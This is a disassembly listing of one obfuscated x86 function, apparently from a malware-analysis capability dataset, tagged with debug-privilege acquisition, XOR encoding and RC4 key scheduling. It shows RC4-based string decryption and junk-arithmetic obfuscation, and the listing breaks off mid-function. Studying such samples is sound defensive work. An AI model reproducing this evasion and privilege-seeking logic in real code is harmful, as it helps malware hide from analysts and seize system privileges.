Function at 0x1000676a
Capabilities:
Acquire debug privileges
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x1003bc10]
xor edx, edx
and eax, 0x9e8dc2df
mov dword [ebp - 0x6c], 0x12e5
mov dword [ebp - 8], eax
xor eax, eax
inc edx
mov dword [ebp - 0x68], 0x7e7
mov ecx, eax
mov dword [ebp - 0x64], 0x1e8a
mov dword [ebp - 0x60], 0x18ce
mov dword [ebp - 0x5c], 0x7d7
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0xa67
mov dword [ebp - 0x4c], 0xf9e
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], 0x1897
mov dword [ebp - 0x40], 0x72c
cmp ecx, 5
je 0x100067da
inc ecx
cmp ecx, 0xc
jl 0x100067cf
mov ecx, dword [ebp + ecx*4 - 0x6c]
push esi
push edi
mov esi, str.SeDebugPrivilege
mov dword [ebp - 0x204], ecx
lea edi, [ebp - 0xe0]
mov dword [ebp - 0x28], 0xd2c838fc
mov dword [ebp - 0x24], 0x6fa9168a
mov ecx, eax
mov dword [ebp - 0x20], 0x47d1458e
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x1000680f
push 0xf
pop ecx
mov esi, eax
mov dword [ebp - 0xac], ecx
mov dl, byte [ebp + esi - 0x1e0]
mov eax, esi
and eax, ecx
movzx ecx, dl
push 0xf
movzx eax, byte [ebp + eax - 0xe0]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov byte [ebp + edi - 0x1e0], dl
cmp esi, 0x100
jb 0x1000682a
mov esi, dword [ebp - 8]
xor eax, eax
mov dword [ebp - 0xc], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
imul esi, esi, 0xebc3ef27
movzx eax, al
mov dword [ebp - 0x38], eax
mov cl, byte [ebp + eax - 0x1e0]
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0x38]
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1e0], cl
mov ecx, esi
mov esi, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + edi - 0x28]
mov byte [ebp + edi - 0x2bc], al
inc edi
cmp edi, 0xc
jb 0x10006874
xor eax, eax
or esi, 0x7218651c
mov byte [ebp - 0x2b0], al
mov edi, eax
mov dword [ebp - 0x38], esi
call fcn.10005a16
inc edi
add esi, 0x49d57de
cmp byte [edi + str.Upsilonafrican], 0
jne 0x100068f0
call fcn.10003b38
cmp edi, 0x16bb
jae 0x1000692a
call fcn.10005342
imul eax, dword [ebp - 0x38], 0x45f576a4
mov esi, 0x973d61c8
sub esi, eax
jmp 0x10006937
imul esi, dword [ebp - 0x38], 0x679a9fd8
sub esi, 0x341efab0
xor eax, eax
mov dword [ebp - 0x28], 0x36e6a434
and esi, 0xbc85e2ea
mov dword [ebp - 0x24], 0x7aa4e4db
mov dword [ebp - 0x20], 0x95d9d3ef
mov edi, eax
xor esi, 0x246a358c
and esi, 0x7cbeb217
inc edi
cmp word [edi*2 + str.muesum.ecalap], ax
jne 0x1000695c
mov ecx, str.muesum.ecalap
call fcn.10003c5a
cmp edi, 0x2615
jne 0x1000699b
or esi, 0xfada5da5
mov dword [0x1003bc10], esi
call fcn.10004424
mov ecx, dword [0x1003bc10]
mov dword [ebp - 8], ecx
jmp 0x100069a4
xor esi, 0x33e201b5
mov dword [ebp - 8], esi
push 0xe
pop ecx
mov esi, str.PMD:_Invalid_data_inside_internal_IPMContentSize_message
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
mov eax, str.yerudieresiscyrillic
mov ecx, eax
mov dword [ebp - 0x88], eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.10003e29
mov edi, dword [ebp - 8]
xor esi, esi
mov dword [ebp - 0xc], esi
push str.gfffffffH
mov edx, str.yerudieresiscyrillic
mov ecx, edi
call fcn.1000482f
mov eax, dword [ebp - 0xc]
xor edi, 0x2715ce85
inc eax
pop ecx
mov dword [ebp - 0xc], eax
cmp word [eax*2 + str.muesum.ecalap], si
jne 0x100069ce
push str.muesum.ecalap
push edi
mov edx, str.Upsilonafrican
mov ecx, edi
call fcn.1000401b
lea eax, [edi - 0xc8a94fa]
or edi, 0x36451658
cmp dword [ebp - 0xc], 0x1c9
pop ecx
cmovae edi, eax
xor eax, eax
pop ecx
mov dword [ebp - 8], edi
mov ecx, eax
mov edi, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10006a2a
mov dword [ebp - 0x14], 0x3a
xor edx, edx
mov cl, byte [ebp + esi - 0x1e0]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x14]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x78]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1e0], al
cmp esi, 0x100
jb 0x10006a41
xor eax, eax
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0xc]
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1e0], cl
movzx eax, byte [ebp + edi - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + esi - 0x28]
mov byte [ebp + esi - 0x26c], al
inc esi
cmp esi, 0xc
jb 0x10006a8b
xor eax, eax
mov dword [ebp - 0x5c], 0x2200
push 0xa
pop edx
xor esi, esi
mov byte [ebp - 0x260], al
mov ecx, eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
inc esi
mov dword [ebp - 0x58], 0x8b
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 0x16ad
mov dword [ebp - 0x48], 0x974
mov dword [ebp - 0x44], 0x1702
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], edx
cmp ecx, esi
je 0x10006b31
inc ecx
cmp ecx, edx
jl 0x10006b28
mov ecx, dword [ebp + ecx*4 - 0x64]
push 0x3f
pop edx
push 0xf
mov dword [ebp - 0x208], ecx
mov ecx, eax
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x78], 0x1c7c
mov dword [ebp - 0x70], 0x25c4
mov dword [ebp - 0x68], 0x1ae7
mov dword [ebp - 0x58], 0x13
mov dword [ebp - 0x54], 0x26b8
mov dword [ebp - 0x50], 0x4f1
mov dword [ebp - 0x4c], 0x1b23
mov dword [ebp - 0x48], 0x7d
mov dword [ebp - 0x44], 0xbbc
mov dword [ebp - 0x40], 0x22c0
pop edx
cmp ecx, 5
je 0x10006ba2
inc ecx
cmp ecx, edx
jl 0x10006b98
mov ecx, dword [ebp + ecx*4 - 0x78]
lea edi, [ebp - 0xc8]
xor ecx, 0x3e
mov dword [ebp - 0x9c], 0xb47b9455
mov dword [ebp - 0x20c], ecx
mov esi, str.noInternetConnection
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x98], 0x585edb91
mov ecx, eax
mov word [ebp - 0x94], 0x73ff
mov byte [ebp - 0x92], 0x95
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10006be8
mov esi, eax
xor edx, edx
mov dword [ebp - 0x14], 0x14
mov eax, esi
mov cl, byte [ebp + esi - 0x1e0]
div dword [ebp - 0x14]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1e0], al
cmp esi, 0x100
jb 0x10006bfa
xor eax, eax
mov dword [ebp - 0x14], 0xb
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0xc]
push 0xb
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1e0], cl
movzx eax, byte [ebp + edi - 0x1e0]
add eax, edx
movzx eax, al
pop edx
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + esi - 0x9c]
mov byte [ebp + esi - 0x244], al
inc esi
cmp esi, edx
jb 0x10006c55
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, 0xee064714
mov byte [ebp - 0x239], al
imul ecx, ecx, 0x18785296
mov dword [ebp - 0x68], 0x1ce7
mov dword [ebp - 0x60], 0x12fa
mov dword [ebp - 0x5c], 0x2419
mov dword [ebp - 0x54], 0x1de8
or ecx, 0xdd06de47
mov dword [ebp - 0x44], 0x48e
sub ecx, 0x4b688793
mov dword [ebp - 0x40], 0x19ad
mov dword [ebp - 0x18], ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
cmp eax, 6
je 0x10006d1e
inc eax
cmp eax, edx
jl 0x10006d14
mov eax, dword [ebp + eax*4 - 0x68]
lea edi, [ebp - 0x9c]
mov esi, str.set_cookH_
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x28], 0x586cbf93
mov dword [ebp - 0x24], 0x476dab8e
mov dword [ebp - 0x20], 0x1bdcd0cb
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.10004257
mov esi, dword [ebp - 0x18]
mov eax, str.Upsilonafrican
xor esi, 0xe7d01f68
inc eax
cmp byte [eax], 0
jne 0x10006d5a
xor eax, eax
mov dword [ebp - 0xc], eax
mov ecx, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10006d6d
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x1e0]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x38]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x9c]
add eax, dword [ebp - 0xc]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0xc], eax
call fcn.10005742
xor ecx, ecx
mov eax, ecx
or esi, 0x3fab85e
inc eax
cmp word [eax*2 + str.gfffffffH], cx
jne 0x10006daf
cmp eax, 0x1b7b
jbe 0x10006dcf
and esi, 0xaeff3cb3
jmp 0x10006de8
xor esi, 0x9cb5810
mov dword [0x1003bc10], esi
call fcn.10005148
mov esi, dword [0x1003bc10]
xor ecx, ecx
mov edx, dword [ebp - 0xc]
or esi, 0x825541b1
mov dword [0x1003bc10], esi
mov al, byte [ebp + edx - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x1e0], al
cmp edi, 0x100
jb 0x10006d7f
mov dword [ebp - 0xc], ecx
mov eax, ecx
mov dword [ebp - 0x10], ecx
xor esi, esi
inc eax
movzx edi, al
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], edi
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1e0], cl
mov ecx, str.Upsilonafrican
movzx eax, byte [ebp + edi - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp - 1], al
call fcn.10003e29
mov edi, esi
call fcn.10005148
imul eax, dword [0x1003bc10], 0x8629917
inc edi
cmp byte [edi + str.Upsilonafrican], 0
mov dword [0x1003bc10], eax
jne 0x10006e7d
mov ecx, 0x1ebb
cmp ecx, edi
mov edi, dword [ebp - 0x10]
sbb edx, edx
and edx, 0x8e33b74e
add edx, 0x64d5ad2b
imul edx, eax
mov al, byte [ebp + edi - 0x28]
xor al, byte [ebp - 1]
mov byte [ebp + edi - 0x27c], al
inc edi
mov eax, dword [ebp - 0x18]
mov dword [0x1003bc10], edx
mov dword [ebp - 0x10], edi
cmp edi, 0xc
jb 0x10006e26
mov esi, str.LeakTest
mov dword [ebp - 0x30], 0xbb6e0e99
lea edi, [ebp - 0x98]
mov dword [ebp - 0x2c], 0xa4b6ab65
xor eax, eax
mov dword [ebp - 0x28], 0xdb95cd4b
mov byte [ebp - 0x270], al
mov ecx, eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x24], 0xf401926a
mov word [ebp - 0x20], 0x2d58
mov byte [ebp - 0x1e], 0xc
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10006f1a
mov edi, eax
mov dword [ebp - 0x84], eax
mov cl, byte [ebp + edi - 0x1e0]
and edi, 7
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edi - 0x98]
add eax, esi
add ecx, eax
movzx eax, cl
mov ecx, str.muesum.ecalap
mov dword [ebp - 0xc], eax
lea eax, [edx - 0x6d1bcb3e]
imul esi, eax, 0xc313f6c5
call fcn.10003c5a
mov dword [ebp - 0x10], esi
mov edi, str.Upsilonafrican
push esi
push ecx
mov edx, esi
mov ecx, str.yerudieresiscyrillic
call fcn.10004e17
mov esi, dword [ebp - 0x10]
add esi, 0xbec96732
inc edi
pop ecx
pop ecx
mov dword [ebp - 0x10], esi
cmp byte [edi], 0
jne 0x10006f72
xor eax, eax
mov edi, eax
add esi, 0x8a327ef9
inc edi
cmp word [edi*2 + str.muesum.ecalap], ax
jne 0x10006f98
mov edx, esi
mov ecx, str.Upsilonafrican
call fcn.10005d0f
mov eax, dword [ebp - 0x8c]
cmp eax, edi
jae 0x10006ff1
mov dword [ebp - 0x10], esi
cmp eax, 0x18a9
jne 0x10006fdd
call fcn.10005a16
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x8c]
xor esi, 0xfacf4e1f
imul esi, esi, 0xf2d9b670
inc eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x10], esi
cmp eax, edi
jb 0x10006fc2
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0x84]
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
lea eax, [esi - 0x1433c126]
mov dword [ebp - 8], eax
mov esi, str.muesum.ecalap
call fcn.10005a16
mov edx, dword [ebp - 8]
lea esi, [esi + 2]
or edx, 0xc15a9928
xor eax, eax
mov dword [ebp - 8], edx
cmp word [esi], ax
jne 0x10007016
mov esi, dword [ebp - 0xc]
inc edi
mov cl, byte [ebp - 1]
mov dword [ebp - 0x84], edi
mov byte [ebp + esi - 0x1e0], cl
cmp edi, 0x100
jb 0x10006f32
push 9
pop ecx
mov esi, str.pj.awagak.emaguram
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
push 0x67
pop ecx
mov edx, eax
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0x60]
jne 0x1000708d
mov esi, ecx
mov ecx, eax
test si, si
je 0x1000708d
cmp word [ebp + ecx - 0x60], ax
je 0x1000708d
inc edx
lea ecx, [edx + edx]
movzx esi, word [ecx + str.gfffffffH]
cmp si, word [ebp + ecx - 0x60]
je 0x1000706f
movzx eax, byte [ebp + edx*2 - 0x60]
movzx ecx, byte [edx*2 + str.gfffffffH]
sub ecx, eax
cmp ecx, 0x11fb
jbe 0x100070b2
call fcn.10005342
and dword [ebp - 8], 0x490cfcd4
jmp 0x100070c8
mov edx, str.Upsilonafrican
mov ecx, str.muesum.ecalap
call fcn.10005f15
add dword [ebp - 8], 0xc176605a
mov esi, str.groundtruth.com
lea edi, [ebp - 0xc0]
push 0x55
xor edx, edx
pop eax
movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 0xc], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0xc0], al
jne 0x10007106
test al, al
je 0x10007106
cmp byte [ebp + ecx - 0xc0], dl
je 0x10007106
mov al, byte [ecx + 0x1002ea71]
inc ecx
cmp al, byte [ebp + ecx - 0xc0]
je 0x100070e9
mov edi, dword [ebp - 8]
mov esi, edx
movzx eax, byte [ebp + ecx - 0xc0]
movzx ecx, byte [ecx + str.Upsilonafrican]
sub ecx, eax
lea eax, [edi - 0x73ae061]
xor edi, 0xbdcbd628
cmp ecx, 0x9c6
cmovbe edi, eax
mov dword [ebp - 8], edi
mov edi, edx
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0xc]
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1e0], cl
movzx eax, byte [ebp + edi - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + esi - 0x30]
mov byte [ebp + esi - 0x1f4], al
inc esi
cmp esi, 0x13
jb 0x10007136
mov edi, dword [ebp - 8]
mov ecx, 0xb2
xor eax, eax
mov dword [ebp - 0x58], 0x31e
mov byte [ebp - 0x1e1], al
mov dword [ebp - 0x54], 0xb4e
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], 0x9ab
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], 0x14e1
cmp eax, 2
je 0x100071ce
inc eax
cmp eax, 7
jl 0x100071c3
mov eax, dword [ebp + eax*4 - 0x58]
xor eax, ecx
mov dword [ebp - 0x214], eax
call fcn.10004dbc
xor esi, esi
mov dword [ebp - 8], esi
push str.yerudieresiscyrillic
mov edx, str.Upsilonafrican
mov ecx, edi
call fcn.10004b2e
mov eax, dword [ebp - 8]
and edi, 0x5da14787
inc eax
pop ecx
mov dword [ebp - 8], eax
cmp word [eax*2 + str.gfffffffH], si
jne 0x100071e4
call fcn.10005742
mov esi, dword [ebp - 0xb0]
cmp esi, dword [ebp - 8]
jae 0x10007263
mov dword [ebp - 0xc], edi
jmp 0x10007225
mov edi, dword [ebp - 0xc]
call fcn.100054ee
cmp esi, 0xbe4
jne 0x10007249
mov edi, dword [ebp - 0xc]
mov ecx, str.gfffffffH
add edi, 0xef0b9a94
push edi
mov edx, edi
call fcn.10005e3a
pop ecx
and edi, 0xb50b6fb7
mov dword [ebp - 0xc], edi
mov dword [0x1003bc10], edi
call fcn.10005a16
inc esi
cmp esi, dword [ebp - 8]
jb 0x10007222
xor esi, esi
imul edx, edi, 0x8404b5df
xor eax, eax
mov dword [ebp - 0x70], 0x1ea9
inc esi
mov dword [ebp - 0x6c], 0x1030
push 0xd
mov dword [ebp - 0x68], esi
mov ecx, eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x4c], esi
pop esi
mov dword [ebp - 0x64], 0x2346
mov dword [ebp - 0x60], 0xd29
mov dword [ebp - 0x5c], 0x209c
mov dword [ebp - 0x58], 0x19cd
mov dword [ebp - 0x50], 0x2387
mov dword [ebp - 0x48], 0x89b
mov dword [ebp - 0x44], 0x1f5b
mov dword [ebp - 0x40], 0x136d
mov dword [ebp - 0xa8], esi
cmp ecx, 9
je 0x100072d2
inc ecx
cmp ecx, esi
jl 0x100072c8
mov ecx, dword [ebp + ecx*4 - 0x70]
lea edi, [ebp - 0x28]
imul esi, edx, 0xc74fa3b3
mov dword [ebp - 0x218], ecx
mov ecx, eax
mov dword [ebp - 0x9c], 0x6e3ff149
mov dword [ebp - 0x98], 0x5860f4e1
mov word [ebp - 0x94], 0x5ac4
mov dword [ebp - 8], esi
mov esi, str.VersionType
mov byte [ebp - 0x92], 0xc9
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10007318
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x1e0]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x14]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x28]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1e0], al
cmp esi, 0x100
jb 0x1000732a
xor edx, edx
mov dword [ebp - 0x84], edx
mov eax, edx
mov dword [ebp - 0x18], edx
push 9
pop ecx
mov esi, 0x1002d4e8
mov dword [ebp - 0xc], edx
lea edi, [ebp - 0x60]
inc eax
rep movsd dword es:[edi], dword [esi]
movzx eax, al
push 0x6d
mov dword [ebp - 0x10], eax
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x60]
jne 0x100073c1
mov ecx, eax
mov eax, edx
test cx, cx
je 0x100073c1
cmp word [ebp + eax - 0x60], dx
je 0x100073c1
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
add eax, eax
movzx ecx, word [eax + str.muesum.ecalap]
cmp cx, word [ebp + eax - 0x60]
je 0x1000739e
mov ecx, str.yerudieresiscyrillic
call fcn.10004c22
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xcc]
mov esi, dword [ebp - 8]
cmp ecx, eax
jae 0x100073fa
cmp ecx, 0x1744
jne 0x100073e9
add esi, 0x6b28de38
imul esi, esi, 0x2966770
inc ecx
cmp ecx, eax
jb 0x100073db
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0x10]
and esi, 0xae85000c
imul esi, esi, 0xe88cf44b
mov cl, byte [ebp + edx - 0x1e0]
movzx eax, cl
mov dword [ebp - 0x34], eax
add eax, dword [ebp - 0x84]
movzx edi, al
mov dword [ebp - 0x84], edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + edx - 0x1e0], al
mov al, byte [str.yerudieresiscyrillic]
mov byte [ebp + edi - 0x1e0], cl
test al, al
je 0x10007470
mov edi, esi
mov edx, str.yerudieresiscyrillic
mov ecx, esi
call fcn.10005714
inc edx
lea esi, [edi - 0x2b2ee668]
mov dword [ebp - 0xc], esi
mov edi, esi
cmp byte [edx], 0
jne 0x10007450
mov al, byte [str.yerudieresiscyrillic]
mov dword [ebp - 8], esi
xor edx, edx
mov edi, edx
test al, al
je 0x100074f1
push esi
push ecx
mov edx, esi
mov ecx, str.Upsilonafrican
call fcn.10004e17
imul esi, dword [ebp - 0xc], 0x76088f00
inc edi
pop ecx
pop ecx
cmp byte [edi + str.yerudieresiscyrillic], 0
mov dword [ebp - 0xc], esi
jne 0x10007478
mov dword [ebp - 8], esi
cmp dword [ebp - 0x8c], edi
jae 0x100074ef
mov dword [ebp - 0xc], esi
call fcn.100054ee
cmp dword [ebp - 0x8c], 0x1666
jne 0x100074c4
mov esi, dword [ebp - 0xc]
and esi, 0xedf26f5d
xor esi, 0xdf7a0278
mov ecx, str.muesum.ecalap
push esi
mov edx, esi
call fcn.10005e3a
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x8c], eax
pop ecx
cmp eax, edi
jb 0x100074aa
mov dword [ebp - 8], esi
xor edx, edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
push 0xb
movzx eax, byte [ebp + eax - 0x1e0]
add eax, dword [ebp - 0x34]
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + ecx - 0x9c]
mov byte [ebp + ecx - 0x250], al
inc ecx
pop eax
cmp ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x10]
jb 0x10007378
mov ecx, 0x81
mov byte [ebp - 0x245], dl
mov eax, edx
mov dword [ebp - 0xc8], 0x1aad
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xc0], 0x375
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb8], 0x2415
mov dword [ebp - 0xb4], 0x16ef
cmp eax, 3
je 0x10007578
inc eax
cmp eax, 6
jl 0x1000756d
mov eax, dword [ebp + eax*4 - 0xc8]
lea edi, [ebp - 0x9c]
mov esi, str.lp.msiruot
mov dword [ebp - 0x28], 0xae24a828
xor eax, 0x80
mov dword [ebp - 0x24], 0x206f295f
sub dword [ebp - 8], 0x1d699300
mov dword [ebp - 0x21c], eax
movsd dword es:[edi], dword [esi]
push 0x3a
pop eax
mov byte [ebp - 0x1f], al
mov eax, edx
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x20], 0xa4
mov word [ebp - 0x1e], 0xade5
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, edx
mov byte [ebp + eax - 0x1e0], al
inc eax
cmp eax, 0x100
jb 0x100075c3
mov esi, edx
xor edx, edx
mov cl, byte [ebp + esi - 0x1e0]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x38]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x9c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1e0]
mov byte [ebp + esi - 0x1e0], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1e0], al
cmp esi, 0x100
jb 0x100075d4
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1e0], cl
movzx eax, byte [ebp + edi - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + esi - 0x28]
mov byte [ebp + esi - 0x28c], al
inc esi
cmp esi, 0xc
jb 0x10007621
push 0x11
pop ecx
push 0x3a
mov dword [ebp - 0x84], ecx
lea edi, [ebp - 0x78]
mov byte [ebp - 0xb6], cl
mov esi, str.app.utils.ExecuteDriverUpdater
pop ecx
push 0xf
mov byte [ebp - 0xb2], cl
xor eax, eax
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x67
pop ecx
mov byte [ebp - 0x280], al
movsw word es:[edi], word [esi]
mov dword [ebp - 0xc0], 0x498b9480
mov dword [ebp - 0xbc], 0x39ec991d
mov word [ebp - 0xb8], 0xf061
mov word [ebp - 0xb5], 0x203e
mov byte [ebp - 0xb3], 0x99
cmp cx, word [ebp - 0x78]
jne 0x10007736
mov edx, ecx
mov edi, eax
mov ecx, eax
test dx, dx
je 0x10007702
cmp word [ebp + ecx - 0x78], ax
je 0x10007702
inc edi
lea ecx, [edi + edi]
movzx edx, word [ecx + str.gfffffffH]
cmp dx, word [ebp + ecx - 0x78]
je 0x100076e4
mov esi, dword [ebp - 0xb0]
mov eax, dword [ebp - 8]
jmp 0x10007730
cmp esi, 0x2357
jne 0x1000772a
add eax, 0x5a2de8ec
mov ecx, str.yerudieresiscyrillic
mov dword [ebp - 8], eax
call fcn.10004c22
mov eax, dword [ebp - 8]
or eax, 0xd907d472
inc esi
cmp esi, edi
jb 0x1000770d
jmp 0x10007739
mov eax, dword [ebp - 8]
mov esi, str.SETTINGS_expected
lea edi, [ebp - 0x2c]
and eax, 0xbb47bdf8
mov dword [ebp - 8], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.10005b62
push 5
pop ecx
mov esi, str.invalid_id
lea edi, [ebp - 0xa4]
rep movsd dword es:[edi], dword [esi]
xor edx, edx
push 0x67
pop ecx
movsw word es:[edi], word [esi]
mov eax, edx
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmp cx, word [ebp - 0xa4]
jne 0x100077b9
test cx, cx
je 0x100077b6
cmp word [ebp + eax - 0xa4], dx
je 0x100077b6
push esi
mov edx, esi
mov ecx, str.muesum.ecalap
